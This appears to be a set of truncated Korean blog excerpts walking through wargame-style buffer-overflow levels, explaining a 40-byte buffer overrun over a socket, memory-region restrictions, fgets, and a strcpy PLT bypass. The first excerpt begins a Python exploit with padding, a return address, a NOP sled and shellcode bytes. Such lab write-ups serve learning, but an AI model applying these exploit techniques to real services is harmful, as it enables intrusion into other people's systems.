농소
단순히 소켓을 통해 외부에서 bof를 해주면 되는 문제입니다. 현재 버퍼크기는 40바이트인데while문의 recv를 보시면 buffer에 256바이트 크기를 받고있습니다.bof가 발생하게 됩니다. [xavius@localhost xavius]$ ps -efdeath_kn 646 1 0 Feb21 ? 00:00:00 /home/xavius/death_knight프로세스를 보니 현재 실행중임을 알수 있으니 이를 통하여 nop코드와 쉘코드를 넣고 외부에서 보내주면 되겠네요 파이선으로 코드를 작성하면from socket import * payload = b'A' * 44payload += b'\x12\xfd\xff\xbf'payload += b'\x90' * 100payload += b"\x66\xbd"payl..
분석 해 봅시다LD_PRELOAD도 못쓰고 eip를 제외한 스택메모리를 전부 초기화합니다.또, 스택메모리를 못쓰게 막았고=("\bf") text영역도 못쓰게 막았네요=("\x08")그리고 leave, ret 명령어가 있는 함수들이 있으면 강제로 종료되게 만들었습니다.여기서 의문점은 왜 40으로 막질 않고 궂이 이런식으로 막아놨을까 입니다.즉, 저렇게 막아도 40으로 시작하는 사용가능한 메모리영역이 있다는 겁니다. 그리고 여지껏 쓰지않았던 fgets를통해 입력값을 받습니다. 먼저 fgets함수의 원형을 보면 char *fgets(char *s, int size, FILE *stream);첫번째 인자로 옮길버퍼두번째로 옮길 사이즈세번째로 파일 포인터입니다 fgets는 보통 특정파일 내용을 읽어들일때 사용하고..
분석 해 봅시다.strcpy의 주소를 addr에 저장하고 save eip위치의 값과 addr을 비교하고 있습니다.여기서 주의할점은 &strcpy는 GOT(=실제 주소)가 아닌 PLT(=참조주소)입니다. 그리고 마지막에 버퍼와 EBP, EIP 공간을 A로 덮고있네요GDB로 살펴봅시다 strcpy의 plt값 입니다. eip위치에 저 값을 넣으면 강제종료가 되지않고 다음으로 넘어갈 수 있습니다. 우선 인자를 채우기 전에 strcpy함수 원형을 보면첫번째 인자로 목적지 주소값이 들어가고두번째 인자로 출발지 주소값이 들어갑니다. 어떤식으로 진행될지 생각을 해 본다면우선 에필로그를 거쳐 strcpy함수쪽으로 점프하게 되고 인자값을 통해 strcpy가 실행될 것이고 또 에필로그가 수행이 될 것입니다. 이제 대략 만들..